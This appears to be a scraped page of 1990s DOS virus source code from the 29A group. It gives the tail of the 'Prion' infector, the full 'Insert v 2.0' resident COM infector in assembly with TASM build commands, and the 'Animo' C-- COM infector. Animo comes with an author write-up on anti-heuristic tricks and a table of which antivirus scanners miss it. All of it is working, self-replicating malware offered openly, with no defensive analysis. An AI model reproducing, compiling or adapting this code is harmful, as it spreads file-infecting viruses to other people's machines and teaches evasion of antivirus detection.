mov si,dx ; SI = offset of file_buffer
add si,cx ; SI = offset of end of file_buffer
lodsb ; AL = first byte of file_buffer
xchg ax,dx ; DL = " " " "
search_const:
lodsb ; AL = byte of file_buffer
cmp al,dl ; Equal to first byte of file_buffer?
jne test_opcode ; Not equal? Jump to test_opcode

loop search_const

pop ax ; Load AX from stack


close_file_:
jmp close_file
test_opcode:
pop ax ; Load AX from stack

cmp [si],0010000111001101b
jne close_file ; INT 21h (opcode 0cdh,21h)? Jump ...

dec cx ; Decrease CX
dec cx ; " "
sub ax,cx ; AX = offset of virus within file

mov cx,(code_end-code_begin)
cmp ax,cx ; Enough constant bytes in file?
jb close_file ; Below? Jump to close_file

sub es:[di+15h],ax ; Move file pointer to offset of v...


sbb word ptr es:[di+17h],00h

mov ah,40h ; Write to file


mov dx,bp ; DX = delta offset
int 21h

mov ax,5701h ; Set file's date and time


mov cx,[bp+file_time] ; CX = file's time
mov dx,[bp+file_date] ; DX = file's date
int 21h

jmp close_file_

int24_virus proc near ; Interrupt 24h of Prion


mov al,03h ; Fail system call in progress

iret ; Interrupt return!


endp

file_specifi db '*.*',00h ; File specification


virus_name db '[Prion] ' ; Name of the virus
virus_author db '[Darkman/29A] ' ; Author of the virus
code_end:
dta:
db 15h dup(?) ; Used by DOS for find next-process
file_attr db ? ; File attribute
file_time dw ? ; File time
file_date dw ? ; File date
filesize dd ? ; Filesize
filename db 0dh dup(?) ; Filename
file_buffer:
file_header db 40h dup(?) ; File header

end code_begin
comment *
Insert v 2.0 ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
Code by ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
Darkman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ

Insert v 2.0 is a 292 bytes parasitic resident COM infector. Infects files
at write to file by prepending the virus to the infected file. Insert v 2.0
has an 8-bit exclusive OR (XOR) encryption in file.

To compile Insert v 2.0 with Turbo Assembler v 4.0 type:


TASM /M INSERT20.ASM
TLINK /t /x INSERT20.OBJ
*

.model tiny
.code
org 100h ; Origin of Insert v 2.0

code_begin:
lea di,crypt_begin ; DI = offset of crypt_begin
push di ; Save DI at stack

xor_cryptor proc near ; 8-bit XOR encryptor/decryptor


mov cx,(crypt_end-crypt_begin)
crypt_loop:
crypt_key equ byte ptr $+02h ; 8-bit encryption/decryption key
xor byte ptr [di],00h ; 8-bit XOR encrypt/decrypt
inc di ; Increase index register
loop crypt_loop

ret ; Return!
endp
crypt_begin:
mov di,ds ; DI = segment of PSP for current ...
dec di ; DI = segment of current Memory C...
mov ds,di ; DS = " " " " "

xor di,di ; Zero DI


cmp byte ptr [di],'Z' ; Last block in chain?
jne virus_exit ; Already resident? Jump to virus_...
mov byte ptr [di],'M' ; Not last block in chain
sub word ptr [di+03h],(data_end-code_begin+0fh)/10h
sub word ptr [di+12h],(data_end-code_begin+0fh)/10h
mov es,[di+12h] ; ES = segment of the virus

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

cld ; Clear direction flag


lea si,mcb ; SI = offset of mcb
mov cl,(mcb_end-mcb)/02h
rep movsw ; Move Memory Control Block (MCB) ...

lea si,code_begin ; SI = offset of code_begin


mov cl,(code_end-code_begin)/02h
rep movsw ; Move the virus above Memory Cont...

mov ds,cx ; DS = segment of interrupt table


lea di,int21_addr-0f0h ; DI = offset of int21_addr
mov si,(21h*04h) ; SI = offset of interrupt 21h
movsw ; Get interrupt vector 21h
movsw ;" " " "
mov word ptr [si-04h],offset int21_virus-0f0h
mov [si-02h],es ; Set interrupt vector 21h
virus_exit:
mov es,cx ; ES = segment of interrupt table

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

lea si,restore ; SI = offset of restore


mov di,4f0h ; DI = offset of Intra-Application...
mov cl,(restore_end-restore)
rep movsb ; Move the restore procedure to in...

push cs ; Save CS at stack


pop es ; Load ES from stack (CS)

lea si,code_end ; SI = offset of code_end


lea di,code_begin ; DI = offset of code_begin
sub cx,si ; CX = number bytes to restore

push cs ; Save CS at stack


push di ; Save DI at stack

db 0eah ; JMP imm32 (opcode 0eah)


dd 004000f0h ; Address of Intra-Application Com...

int21_virus proc near ; Interrupt 21h of Insert v 2.0


cmp ah,40h ; Write to file?
je infect_file ; Equal? Jump to infect_file
int21_exit:
db 0eah ; JMP imm32 (opcode 0eah)
int21_addr dd ? ; Address of interrupt 21h
endp
infect_file:
push ax cx dx di si ds es

mov ax,1220h ; Get system file table number


int 2fh

push bx ; Save BX at stack


mov ax,1216h ; Get address of system FCB
mov bl,es:[di] ; BL = system file table entry
int 2fh
pop bx ; Load BX from stack

cmp word ptr es:[di+11h],00h


jne infect_exit ; Filesize too large? Jump to infe...

cmp word ptr es:[di+28h],'OC'


jne infect_exit ; COM executable? Jump to infect_exit
cmp byte ptr es:[di+2ah],'M'
jne infect_exit ; COM executable? Jump to infect_exit

cld ; Clear direction flag


mov si,dx ; SI = offset of buffer for data
lodsw ; AX = EXE signature
cmp ax,0000111010111111b
je infect_exit ; Already infected? Jump to infect...

xor ax,'ZM' ; Found EXE signature?


jz infect_exit ; Zero? Jump to infect_exit
xor ax,('MZ' xor 'ZM') ; Found EXE signature?
jz infect_exit ; Zero? Jump to infect_exit

xchg ax,cx ; AX = number of bytes to write


cmp ax,(code_end-code_begin)*02h
jb infect_exit ; Filesize too small? Jump to infe...
cmp ax,0fefah-(code_end-code_begin)
ja infect_exit ; Filesize too large? Jump to infe...

push cs ; Save CS at stack


pop es ; Load ES from stack (CS)
get_rnd_num:
in al,40h ; AL = 8-bit random number

or al,al ; Weak encryption/decryption key?


jz get_rnd_num ; Zero? Jump to get_rnd_num

push cs ; Save CS at stack


pop ds ; Load DS from stack (CS)

mov [crypt_key-0f0h],al ; Store encryption/decryption key

mov cx,(code_end-code_begin)
lea di,code_end-0f0h ; DI = offset of code_end
lea si,code_begin-0f0h ; SI = offset of code_begin
push cx di ; Save registers at stack
rep movsb ; Create a copy of the virus

lea di,code_end-0e2h ; DI = offset of code_end + crypt_...


call xor_cryptor

mov ah,40h ; Write to file


pop dx cx ; Load registers from stack
pushf ; Save flags at stack
call [int21_addr-0f0h]
infect_exit:
pop es ds si di dx cx ax

jmp int21_exit

; The restore procedure is moved to the Intra-Application Communications


; Area (ICA) at address: 0040:00F0. It is much more secure to use than fx. the
; "hole" above the Interrupt Vector Table (IVT). Still the Intra-Application
; Communications Area (ICA) is not secure enough to place an interrupt
; handler.
restore proc near ; Restore the infected file
rep movsb ; Move the original code to beginning

mov di,cx ; Zero DI

retf ; Return far!


endp
restore_end:
mcb db 'Z' ; Last block in chain
dw 08h ; Memory Control Block (MCB) belon...
dw (virus_end-code_begin+0fh)/10h
db 00h,00h,00h,'SC',06h dup(00h)
mcb_end:
virus_name db ' [Insert v 2.0]' ; Name of the virus
virus_author db ' [Darkman/29A] ' ; Author of the virus
crypt_end:
code_end:
db (code_end-code_begin) dup(90h)
virus_end:
db (mcb_end-mcb) dup(90h)
data_end:
int 20h ; Terminate program!

end code_begin
/*****( Animo virus description )**********************************************
ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
Virus name : Animo ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
Author : Rajaat / 29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
Origin : United Kingdom, January 29th ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
Compiling : Using Sphinx C-- (with XFILE pack) ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
C-- ANIMO
This is a bit kind of special language, you can download it
and the additional XFILE pack (which contains the lseek
function) from the official Sphinx C-- site (it is written by
Peter Cellik) which is located at
http://www.geocities.com/SiliconValley/Vista/3559
Targets : COM files (yuck!)
Infects on : Runtime, files in the current directory (even more yuck!)
Size : 518 bytes (impressive for the language, I love it!)
Resident : No
Polymorphic : No
Encrypted : No
Stealth : File date/time, but no critical error handler
Tunneling : No
Retrovirus : No
Antiheuristics: Yes, targetted against TBSCAN, which gives zero flags
Armor : No
Payload : No
Trigger : None
Peculiarities : Written in Sphinx C-- is peculiar, I think, and a good start
too. Works only on 80386+ (so?)
Drawbacks : I don't know yet, this language happens to be so flexible that
you certainly can do a lot more than just COM files, I'm now
doing experiments with a multipartite virus already ;-)
Bugs : Not that I am aware of...
Behaviour : When an infected file is executed the virus will receive
control with a near jump to its code located at the
start of the file. Then it will get the entry point in
SI by calling to the next line (a call is relative) and
pop the return address (which is an absolute value) and
substract the original located address of get_offset,
effectively getting the difference of where the original
compiled code is located and the now running code. For
some reason unknown to me this doesn't alert TBSCAN,
which could spot entrypoints calls with ease and flag
like shit. Norman is really fucking up TBSCAN for
good... A shame. Well, after it gets the entrypoint it
will call to the start_replication() function. That
subroutine will first rebuild the first 4 bytes of the
infected COM file, so that it can be run again, after
the virus is ready doing its work. Then it sets the DTA
to the memory location where the virus in memory ends.
The next line is some antiheuristic code for TBSCAN, it
changes the "*.ZOM" search spec into "*.COM" (TBSCAN
would flag on COM so this little change shuts down one
flag). Then it will search for COM files with no
attributes set in the current directory. If such file is
found, it will temporarily store the search spec to
"*.ZOM" again. Then it calls the function infect() with
a pointer to the filename returned in the DTA as
parameter. infect() will open the file in read/write
mode and if the open succeeded it will read the first 4
bytes of the file into a small buffer. If the 4th byte
is an ! it will assume that the file is already infected
and will skip it. Then it will check if the opened file
has an EXE header. This is done in an antiheuristic
fashion. If the file is indeed a COM file, it seek to
the end of the file. If the filesize is larger than
0x100 bytes (convert them yourself, weenie!) and smaller
than 0xF000 (don't you have some calculator?), it will
proceed with the infection. It then calculates the
relative offset for the JMP instruction that will be
placed at the start of the file. Then it will get the
file date/time stamp and push it on the stack. After
that it will load it's registers with the correct data
and writes it's image at the end of the file. Then it
jump back to the start of the file and will write the
near jump to the virus code and the infection marker
(!). When finished, it will restore the file date/time
stamp and close the file. The routine to restore the
date/time is also done antiheuristically and is so
simple that I am amazed that TBSCAN fell for that
old-hat trick. After infecting a file, it will search
for the next file to infect, until all the files in the
current directory are infected. The virus sets the DTA
back to the normal address (0x80, which is 0x100 >> 2 or
0x100 / 2, whatever you like most, it's half of it). It
then pushes its return address (0x100, you already
calculated this one) in some antiheuristic (blah) way on
the stack, clears the AX register and returns control to
the host, which runs like normal (unless it has some
self check or when started with some oldsmobile).

Sara Ford..... sounds like Science Fiction to me


(those Capitals, are they Hidden Pictures or Some
Message?)

Note : I know that this is a simple COM infector and below


standard, but this can be seen as a simple test to check
out for myself if C-- is a convenient language and if it
was possible to use for some more complex idea I
initially had in mind with Borland C++, of which you
also can get the source code on the first 2 versions (a
direct action appending COM infector and a MCB resident
appending COM infector). And yes, I think it is possible
to bend C-- to my own twisted desires (oh, I have played
Pandemonium 2 a bit too often lately, I fear). Well, the
actual story how I came to write a virus in the peculiar
language is like this: two days ago I found this program
on some homepage (see above) by accident, while using a
search engine to help me getting a C front-end for NASM,
the Netwide ASseMbler, which is really a great
Assembler, which I will try to use in the future
L:-o-P-< (Elvis Lives!). Yesterday I started my first
experiments in C-- to learn a bit how the language
works. Since I know both how to handle C and Assembler
(and some others like Pascal, that are not worthwile
mentioning here), and now my first virus written in this
language lies in front of you! You can see from the
source, that it is *VERY* flexible and if properly used,
you can build really complex viruses with this, using
the easy of C and the power of Assembler (btw, have you
noticed that I write the word Assembler with a Capital
A? Would this have a hidden meaning? Some Complex Code?
A Secret Message? No, it's just my Language Worshipping
Mood again &-! By the way, the virus compiles very
small, it's a very good compiler, and although writing
in assembler still creates much tighter code, I think
this language is worth a try. You can shorten code much
by using register functions (try getting most of the
return codes into the AX register, so you don't need the
return code, which takes one extra "ret" code, even when
returning with a fixed value).

I hereby would like to show my gratitude to Peter Cellik


for writing such a wonderful language, although I would
like to see some things added, like:

o structures
o unions
o functions that generate no code at all (not even
the IRET)
o the possibility to do some AND operation in
if statements, like:

if ((filesize > 0x100) && (filesize < 0xf000))

instead of this crummy way (although they


probably would generate the same thing, but I
think the above one is preferred and look more
clean to me):

if (filesize > 0x100)


if (filesize < 0xf000)

o doing some more complex calculations, which now


have to be broken up in parts, like:

cx = (cyl << 8 | sector) | (cyl & 0x300 >> 2);


CX = cx;

or even better:
CX = (cyl << 8 | sector) | (cyl & 0x300 >> 2);

instead of having to do manipulations like this,


which look not very readable to me:

cx = cyl << 8 | sector;


cx |= cyl & 0x300 >> 2;
CX = cx;

Or another example:

word virus_sectors()
{
AX = virus_bytes() / 512 + 1;
}

instead of:

word virus_sectors()
{
AX = virus_bytes() / 512;
AX++;
}

Anyway, as a little token of my gratitude to Peter


Cellik, I will post a litte part of his documentation in
here:

"3.4 ABUSES

Anyone with a mischievous mind (most people do) can


think of some not so nice ways of using this function.
The most obvious of which would be the creation of
trojan horses. I WOULD LIKE TO POINT OUT THAT THIS IS
NOT A CONSTRUCTIVE USE OF C-- AND ANY DESTRUCTIVE USE
OF COM FILE SYMBIOSIS IS PROHIBITED. In other words,
don't be a jerk. "

Well, I think I am no jerk, since I don't have to use


that "feature" :-). Anybody who wants to write viruses
in this language are also kindly asked to support Peter
Celliks idea of GREENWARE. To cite:

"THE PRICE:
~~~~~~~~~~
This version of C-- is GREENWARE, and you are free to
use it so long as you make an effort everyday to help
out the environment. A few ideas:

- use only recycled computer paper


- be sure to recycle the computer paper after you use it
- use public transport
- sell that 80 cylinder car of yours and buy a small 4
cylinder, or better yet, buy a motorbike
- support Green Peace
- REDUCE-REUSE-recycle
- stop smoking
- ride a bike to work or school
- don't buy products that are harmful to the environment
- stop using weed killers on your lawn
- support Friends of the Earth
- recycle your cans
- don't buy products that have lots of extra packaging
- use a fax modem instead of a paper fax machine
- reuse your plastic bags
- (you get the idea) "

Well, I think he has some great ideas there, in the


progress of writing viruses, I waste tons of paper, I
don't have a lawn, so I don't need weed killer anyway,
all my trash gets recycled already, I have access to a
HP Officejet LX, and I don't use plastic bags cut a more
robust one. But one can go too far, Peter. I won't quit
smoking, you never can convince me not going to Spain
with Darkman by car (although I am scared by thinking of
abandoning the "left hand path", and sure as hell I would
not support a group of terrorists that plum a seal for a
picture to shock people. I do not believe in the "can't
make an omelette without breaking a few eggs" attitude.
Fuck Green Peace! Though trying to stop French nuking
is ok :-).

Well, the comments are longer than the source, what else
can I say, enjoy! By the way, those pieces of example
codes of my wishlist above are code snippets for my next
virus in C--.

Rajaat / 29A
rajaat@itookmyprozac.com
http://www.geocities.com/SiliconValley/Vista/7227
(I know, it's outdated, I hope to update it soon, a new
page is in the making)

Don't forget to take a look at these sites:


http://www.geocities.com/SiliconValley/Vista/3559
http://www.cryogen.com/Nasm
http://www.x86.org

*****( Results with antivirus software )***************************************

TBSCAN - Doesn't detect it


F-PROT - Doesn't detect it (yet)
F-PROT /ANALYSE - Detects it
F-PROT /ANALYSE /PARANOID - Detects it (wow, genius)

*****( Greetings )*************************************************************

I hereby would like to take the opportunity to greet a few people:

- the rest of the 29A people (it is great to work with you people)
- the unforgiven and metal militia (heroes in the snow!)
- z0mbie (ShadowRAM Technology rocks!)
- [sm] (RT got quite some attention I heard!)
- owl[fs] (still breeding some ideas?)
- retch (MP3 CD? ;-)
- bds (hiya!)
- antigen and priest (when will I hear from you guys again?)
- rhincewind (someday I'll be able to contact you again... I hope)
- trigger (don't SLAM that door so hard, will ya?)
- spicy impregnator (no taste)
- qark & quantum (get back to work)
- metabolis (I miss your remarks)
- raid (ASIC is fun, but not my idea of ideal virus language, you
won't get much farther than a direct action generic prepending
infector)

If anybody feels left out who deserves to get greeted by me can paste
their name between to two lines for *FREE* inclusion:

ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

hahahahahahahahahahahahahaha die trying!

*****( Start of the virus code )**********************************************/

? resize FALSE // No memory resizing


? jumptomain NONE // No jumps to main procedure
? codesize // Optimize code for size
? alignword FALSE // Align word on even offset set to off

? include "dos.h--" // Use DOS functions


? include "xfile.h--" // And now new extended functions (LSEEK)

byte virus_end; // Last Data Item

byte nops[4] = { 0x90, 0x90, 0x90, 0x90 }; // Fake host

word main() // Virus entry point


{
$ CALL get_delta //
get_delta: // Get delta offset in SI
$ POP SI //
SI -= #get_delta; //
start_replication(); // Call replicator
AX = 0x100 ^ 0x6510; // Push entrypoint
AX ^= 0x6510; // with some antiheuristics
$ PUSH AX; // on the stack and
AX = 0; // clear AX
}

byte host_bytes[4] = { 0xCD, 0x20, 0, 0 }; // Host data


byte searchspec = "*.ZOM"; // Searchspec
byte jumpop = 0xE9; // Near jump
word nearjmp = 0; // The offset
byte marker = '!'; // and infection marker

byte virus = "[Animo]"; // Spliffbanger!


byte author = "[Rajaat/29A]"; // some personal stuff

start_replication()
{
$ PUSH SI // Preserve delta
SI = #host_bytes[SI]; // Point to host bytes
DI = #nops; // Absolute nops is at 0x100
$ CLD // Clear direction
$ MOVSW // Move the 4 bytes we have save to the
$ MOVSW // start of the host
$ POP SI // Get delta back from stack
setDTA(CS,#virus_end[SI]); // Set DTA to behind virus image
searchspec[SI+2] = 'C'; // Antiheuristics again
if (FINDFIRSTFILE(,,0,#searchspec[SI]) == 0)
{
do // We found a COM file
{
searchspec[SI+2] = 'Z'; // Again some antiheuristic action
infect(#virus_end[SI+0x1e]); // And call the infection routine
searchspec[SI+2] = 'C'; // And back to normal for COM searching
FINDNEXTFILE(); // And find next function
} while (AX == 0); // Hopefully
}
setDTA(CS,0x80); // Restore DTA
}

infect(word filename) // Infection procedure


word handle; // Temporary file handle placement
word bytes_read; // Amount of bytes read
word myoffset; // My own offset (need multiple steps)
word twobytes;
long filesize; // And the filesize
{
handle = FOPEN(2,,,filename); // Open file with write access
if (handle != 0) // If no error
{
FREAD( , handle, 4, #host_bytes[SI]); // Read 4 bytes
if (host_bytes[SI+3] != '!') // Already infected
{ // No, we continue
twobytes = host_bytes[0]; // get 1st word
twobytes += host_bytes[1] << 8; // stupid way
twobytes ^= 0x029A; // Final antiheuristics
if (twobytes != 0x4d5a ^ 0x029A) // Check exe
if (twobytes != 0x5a4d ^ 0x029A) // weird exe
twobytes ^= 0x029A; // Decrypt again ;-)
filesize = lseek(handle, long 0, SEEK_END); // Get filesize
if (filesize > 0x100) // Not too small?
if (filesize < 0xf000) // Not too big?
{ // Right size!
nearjmp[SI] = filesize - 3; // Get relative EP
AX = 0x5700; // Store file date and
$ INT 0x21; // time on the
$ PUSH CX; // stack for later
$ PUSH DX; // retrieval
bytes_read = get_virus_size(); // virus size
myoffset = #main + SI; // relative virus start
FWRITE(, handle, bytes_read, myoffset); // write virus
lseek(handle, long 0, SEEK_SET); // go start of file
FWRITE(, handle, 4, #jumpop[SI]); // write jump
$ POP DX; // Restore date and
$ POP CX; // time of the file
AX = 0x5701 ^ 0x8086; // and put them back
AX ^= 0x8086; // on it with some
$ INT 0x21; // antiheuristics
}
}
FCLOSE(,handle); // Close file (we're done)
}
}

word get_virus_size() // Gets address of latest memory byte of


{ // virus, effectively getting the virus
AX = #virus_end-#main; // size
}

/*****( This is the end, my dear friend )*************************************/

Vous aimerez peut-être aussi